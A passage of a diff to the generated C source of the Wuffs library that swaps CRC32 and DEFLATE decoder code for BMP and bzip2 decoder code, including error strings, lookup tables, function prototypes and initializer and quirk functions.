(int32_t)(17u)); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); -- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); -- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); -- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); -- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); -- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); -- v_p.ptr += 64; -- } -- v_p.len = 0; -- } -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x2); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x3); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); -- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); -- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); -- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); -- v_x0 = _mm_and_si128(v_x0, v_x2); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); -- v_x1 = _mm_and_si128(v_x0, v_x2); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); -- v_x1 = _mm_and_si128(v_x1, v_x2); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); -- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); -- if (v_tail_index < ((uint64_t)(a_x.len))) { -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); -- v_p.ptr += 1; -+ self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); -+ v_n = 0u; -+ while ((v_mask & 1u) == 1u) { -+ v_n += 1u; -+ v_mask >>= 1u; - } -- v_p.len = 0; -+ if ((v_mask != 0u) || (v_n > 32u)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); -+ } else if (v_i != 3u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; - } -+ v_i += 1u; - } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -+ -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ return status; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) - - // ---------------- Status Codes Implementations - --const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; --const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; --const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; --const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; --const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; --const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; --const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; --const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; --const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; --const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; --const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; --const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; --const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; --const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; --const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; --const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; --const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; --const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; -+const char wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; -+const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; -+const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; -+const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; -+const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; -+const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; -+const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; -+const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; -+const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; -+const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; - - // ---------------- Private Consts - - static const uint8_t --WUFFS_DEFLATE__CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 16, 17, 18, 0, 8, 7, 9, 6, -- 10, 5, 11, 4, 12, 3, 13, 2, -- 14, 1, 15, --}; -- --static const uint8_t --WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 128, 64, 192, 32, 160, 96, 224, -- 16, 144, 80, 208, 48, 176, 112, 240, -- 8, 136, 72, 200, 40, 168, 104, 232, -- 24, 152, 88, 216, 56, 184, 120, 248, -- 4, 132, 68, 196, 36, 164, 100, 228, -- 20, 148, 84, 212, 52, 180, 116, 244, -- 12, 140, 76, 204, 44, 172, 108, 236, -- 28, 156, 92, 220, 60, 188, 124, 252, -- 2, 130, 66, 194, 34, 162, 98, 226, -- 18, 146, 82, 210, 50, 178, 114, 242, -- 10, 138, 74, 202, 42, 170, 106, 234, -- 26, 154, 90, 218, 58, 186, 122, 250, -- 6, 134, 70, 198, 38, 166, 102, 230, -- 22, 150, 86, 214, 54, 182, 118, 246, -- 14, 142, 78, 206, 46, 174, 110, 238, -- 30, 158, 94, 222, 62, 190, 126, 254, -- 1, 129, 65, 193, 33, 161, 97, 225, -- 17, 145, 81, 209, 49, 177, 113, 241, -- 9, 137, 73, 201, 41, 169, 105, 233, -- 25, 153, 89, 217, 57, 185, 121, 249, -- 5, 133, 69, 197, 37, 165, 101, 229, -- 21, 149, 85, 213, 53, 181, 117, 245, -- 13, 141, 77, 205, 45, 173, 109, 237, -- 29, 157, 93, 221, 61, 189, 125, 253, -- 3, 131, 67, 195, 35, 163, 99, 227, -- 19, 147, 83, 211, 51, 179, 115, 243, -- 11, 139, 75, 203, 43, 171, 107, 235, -- 27, 155, 91, 219, 59, 187, 123, 251, -- 7, 135, 71, 199, 39, 167, 103, 231, -- 23, 151, 87, 215, 55, 183, 119, 247, -- 15, 143, 79, 207, 47, 175, 111, 239, -- 31, 159, 95, 223, 63, 191, 127, 255, --}; -- --static const uint32_t --WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1073741824, 1073742080, 1073742336, 1073742592, 1073742848, 1073743104, 1073743360, 1073743616, -- 1073743888, 1073744400, 1073744912, 1073745424, 1073745952, 1073746976, 1073748000, 1073749024, -- 1073750064, 1073752112, 1073754160, 1073756208, 1073758272, 1073762368, 1073766464, 1073770560, -- 1073774672, 1073782864, 1073791056, 1073799248, 1073807104, 134217728, 134217728, 134217728, -+WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 1u, 2u, 3u, 4u, 5u, 5u, 5u, - }; - - static const uint32_t --WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1073741824, 1073742080, 1073742336, 1073742592, 1073742864, 1073743376, 1073743904, 1073744928, -- 1073745968, 1073748016, 1073750080, 1073754176, 1073758288, 1073766480, 1073774688, 1073791072, -- 1073807472, 1073840240, 1073873024, 1073938560, 1074004112, 1074135184, 1074266272, 1074528416, -- 1074790576, 1075314864, 1075839168, 1076887744, 1077936336, 1080033488, 134217728, 134217728, -+WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 79764919u, 159529838u, 222504665u, 319059676u, 398814059u, 445009330u, 507990021u, -+ 638119352u, 583659535u, 797628118u, 726387553u, 890018660u, 835552979u, 1015980042u, 944750013u, -+ 1276238704u, 1221641927u, 1167319070u, 1095957929u, 1595256236u, 1540665371u, 1452775106u, 1381403509u, -+ 1780037320u, 1859660671u, 1671105958u, 1733955601u, 2031960084u, 2111593891u, 1889500026u, 1952343757u, -+ 2552477408u, 2632100695u, 2443283854u, 2506133561u, 2334638140u, 2414271883u, 2191915858u, 2254759653u, -+ 3190512472u, 3135915759u, 3081330742u, 3009969537u, 2905550212u, 2850959411u, 2762807018u, 2691435357u, -+ 3560074640u, 3505614887u, 3719321342u, 3648080713u, 3342211916u, 3287746299u, 3467911202u, 3396681109u, -+ 4063920168u, 4143685023u, 4223187782u, 4286162673u, 3779000052u, 3858754371u, 3904687514u, 3967668269u, -+ 881225847u, 809987520u, 1023691545u, 969234094u, 662832811u, 591600412u, 771767749u, 717299826u, -+ 311336399u, 374308984u, 453813921u, 533576470u, 25881363u, 88864420u, 134795389u, 214552010u, -+ 2023205639u, 2086057648u, 1897238633u, 1976864222u, 1804852699u, 1867694188u, 1645340341u, 1724971778u, -+ 1587496639u, 1516133128u, 1461550545u, 1406951526u, 1302016099u, 1230646740u, 1142491917u, 1087903418u, -+ 2896545431u, 2825181984u, 2770861561u, 2716262478u, 3215044683u, 3143675388u, 3055782693u, 3001194130u, -+ 2326604591u, 2389456536u, 2200899649u, 2280525302u, 2578013683u, 2640855108u, 2418763421u, 2498394922u, -+ 3769900519u, 3832873040u, 3912640137u, 3992402750u, 4088425275u, 4151408268u, 4197601365u, 4277358050u, -+ 3334271071u, 3263032808u, 3476998961u, 3422541446u, 3585640067u, 3514407732u, 3694837229u, 3640369242u, -+ 1762451694u, 1842216281u, 1619975040u, 1682949687u, 2047383090u, 2127137669u, 1938468188u, 2001449195u, -+ 1325665622u, 1271206113u, 1183200824u, 1111960463u, 1543535498u, 1489069629u, 1434599652u, 1363369299u, -+ 622672798u, 568075817u, 748617968u, 677256519u, 907627842u, 853037301u, 1067152940u, 995781531u, -+ 51762726u, 131386257u, 177728840u, 240578815u, 269590778u, 349224269u, 429104020u, 491947555u, -+ 4046411278u, 4126034873u, 4172115296u, 4234965207u, 3794477266u, 3874110821u, 3953728444u, 4016571915u, -+ 3609705398u, 3555108353u, 3735388376u, 3664026991u, 3290680682u, 3236090077u, 3449943556u, 3378572211u, -+ 3174993278u, 3120533705u, 3032266256u, 2961025959u, 2923101090u, 2868635157u, 2813903052u, 2742672763u, -+ 2604032198u, 2683796849u, 2461293480u, 2524268063u, 2284983834u, 2364738477u, 2175806836u, 2238787779u, -+ 1569362073u, 1498123566u, 1409854455u, 1355396672u, 1317987909u, 1246755826u, 1192025387u, 1137557660u, -+ 2072149281u, 2135122070u, 1912620623u, 1992383480u, 1753615357u, 1816598090u, 1627664531u, 1707420964u, -+ 295390185u, 358241886u, 404320391u, 483945776u, 43990325u, 106832002u, 186451547u, 266083308u, -+ 932423249u, 861060070u, 1041341759u, 986742920u, 613929101u, 542559546u, 756411363u, 701822548u, -+ 3316196985u, 3244833742u, 3425377559u, 3370778784u, 3601682597u, 3530312978u, 3744426955u, 3689838204u, -+ 3819031489u, 3881883254u, 3928223919u, 4007849240u, 4037393693u, 4100235434u, 4180117107u, 4259748804u, -+ 2310601993u, 2373574846u, 2151335527u, 2231098320u, 2596047829u, 2659030626u, 2470359227u, 2550115596u, -+ 2947551409u, 2876312838u, 2788305887u, 2733848168u, 3165939309u, 3094707162u, 3040238851u, 2985771188u, - }; - --#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024 -- --#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023 -- - // ---------------- Private Initializer Prototypes - - // ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__do_transform_io( -- wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__do_transform_io( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_blocks( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__prepare_block( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_uncompressed( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__read_code_lengths( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__init_fixed_huffman( -- wuffs_deflate__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__init_dynamic_huffman( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_src); -+wuffs_bzip2__decoder__build_huffman_tree( -+ wuffs_bzip2__decoder* self, -+ uint32_t a_which); - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__init_huff( -- wuffs_deflate__decoder* self, -- uint32_t a_which, -- uint32_t a_n_codes0, -- uint32_t a_n_codes1, -- uint32_t a_base_symbol); -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__build_huffman_table( -+ wuffs_bzip2__decoder* self, -+ uint32_t a_which); - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_bmi2( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__invert_bwt( -+ wuffs_bzip2__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast32( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__flush_fast( -+ wuffs_bzip2__decoder* self, -+ wuffs_base__io_buffer* a_dst); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast64( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -+wuffs_bzip2__decoder__flush_slow( -+ wuffs_bzip2__decoder* self, -+ wuffs_base__io_buffer* a_dst); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__decode_huffman_fast( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_slow( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -+wuffs_bzip2__decoder__decode_huffman_slow( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_src); - - // ---------------- VTables - - const wuffs_base__io_transformer__func_ptrs --wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_bzip2__decoder__dst_history_retain_length), - (uint64_t(*)(const void*, -- uint32_t))(&wuffs_deflate__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_deflate__decoder__history_retain_length), -+ uint32_t))(&wuffs_bzip2__decoder__get_quirk), - (wuffs_base__status(*)(void*, - uint32_t, -- uint64_t))(&wuffs_deflate__decoder__set_quirk), -+ uint64_t))(&wuffs_bzip2__decoder__set_quirk), - (wuffs_base__status(*)(void*, - wuffs_base__io_buffer*, - wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), -+ wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), - }; - - // ---------------- Initializer Implementations - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_deflate__decoder__initialize( -- wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__initialize( -+ wuffs_bzip2__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options){ -@@ -34263,25 +34215,23 @@ wuffs_deflate__decoder__initialize( - } - } - -- self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; -- - self->private_impl.magic = WUFFS_BASE__MAGIC; - self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = - wuffs_base__io_transformer__vtable_name; - self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -- (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); - return wuffs_base__make_status(NULL); - } - --wuffs_deflate__decoder* --wuffs_deflate__decoder__alloc(void) { -- wuffs_deflate__decoder* x = -- (wuffs_deflate__decoder*)(calloc(sizeof(wuffs_deflate__decoder), 1)); -+wuffs_bzip2__decoder* -+wuffs_bzip2__decoder__alloc(void) { -+ wuffs_bzip2__decoder* x = -+ (wuffs_bzip2__decoder*)(calloc(1, sizeof(wuffs_bzip2__decoder))); - if (!x) { - return NULL; - } -- if (wuffs_deflate__decoder__initialize( -- x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ if (wuffs_bzip2__decoder__initialize( -+ x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { - free(x); - return NULL; - } -@@ -34289,59 +34239,18 @@ wuffs_deflate__decoder__alloc(void) { - } - - size_t --sizeof__wuffs_deflate__decoder(void) { -- return sizeof(wuffs_deflate__decoder); -+sizeof__wuffs_bzip2__decoder(void) { -+ return sizeof(wuffs_bzip2__decoder); - } - - // ---------------- Function Implementations - --// -------- func deflate.decoder.add_history -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_deflate__decoder__add_history( -- wuffs_deflate__decoder* self, -- wuffs_base__slice_u8 a_hist) { -- if (!self) { -- return wuffs_base__make_empty_struct(); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -- } -- -- wuffs_base__slice_u8 v_s = {0}; -- uint64_t v_n_copied = 0; -- uint32_t v_already_full = 0; -- -- v_s = a_hist; -- if (((uint64_t)(v_s.len)) >= 32768u) { -- v_s = wuffs_base__slice_u8__suffix(v_s, 32768u); -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); -- self->private_impl.f_history_index = 32768u; -- } else { -- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); -- if (v_n_copied < ((uint64_t)(v_s.len))) { -- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); -- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); -- self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); -- } else { -- v_already_full = 0u; -- if (self->private_impl.f_history_index >= 32768u) { -- v_already_full = 32768u; -- } -- self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); -- } -- } -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); -- return wuffs_base__make_empty_struct(); --} -- --// -------- func deflate.decoder.get_quirk -+// -------- func bzip2.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_deflate__decoder__get_quirk( -- const wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__get_quirk( -+ const wuffs_bzip2__decoder* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -34351,15 +34260,18 @@ wuffs_deflate__decoder__get_quirk( - return 0; - } - -+ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } - return 0u; - } - --// -------- func deflate.decoder.set_quirk -+// -------- func bzip2.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_deflate__decoder__set_quirk( -- wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__set_quirk( -+ wuffs_bzip2__decoder* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -34372,32 +34284,36 @@ wuffs_deflate__decoder__set_quirk( - : wuffs_base__error__initialize_not_called); - } - -+ if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func deflate.decoder.history_retain_length -+// -------- func bzip2.decoder.dst_history_retain_length - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_deflate__decoder__history_retain_length( -- const wuffs_deflate__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_bzip2__decoder__dst_history_retain_length( -+ const wuffs_bzip2__decoder* self) { - if (!self) { -- return 0; -+ return wuffs_base__utility__make_optional_u63(false, 0u); - } - if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && - (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ return wuffs_base__utility__make_optional_u63(false, 0u); - } - -- return 0u; -+ return wuffs_base__utility__make_optional_u63(true, 0u); - } - --// -------- func deflate.decoder.workbuf_len -+// -------- func bzip2.decoder.workbuf_len - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_deflate__decoder__workbuf_len( -- const wuffs_deflate__decoder* self) { -+wuffs_bzip2__decoder__workbuf_len( -+ const wuffs_bzip2__decoder* self) { - if (!self) { - return wuffs_base__utility__empty_range_ii_u64(); - } -@@ -34406,15 +34322,15 @@ wuffs_deflate__decoder__workbuf_len( - return wuffs_base__utility__empty_range_ii_u64(); - } - -- return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); - } - --// -------- func deflate.decoder.transform_io -+// -------- func bzip2.decoder.transform_io - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_deflate__decoder__transform_io( -- wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__transform_io( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf) { -@@ -34441,17 +34357,17 @@ wuffs_deflate__decoder__transform_io( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); - goto exit; - } - status = v_status; -@@ -34459,13 +34375,13 @@ wuffs_deflate__decoder__transform_io( - } - - ok: -- self->private_impl.p_transform_io[0] = 0; -+ self->private_impl.p_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - - goto exit; -@@ -34476,103 +34392,22 @@ wuffs_deflate__decoder__transform_io( - return status; - } - --// -------- func deflate.decoder.do_transform_io -+// -------- func bzip2.decoder.do_transform_io - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__do_transform_io( -- wuffs_deflate__decoder* self, -+wuffs_bzip2__decoder__do_transform_io( -+ wuffs_bzip2__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint64_t v_mark = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } -- -- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- self->private_impl.choosy_decode_huffman_fast64 = ( --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : --#endif -- self->private_impl.choosy_decode_huffman_fast64); 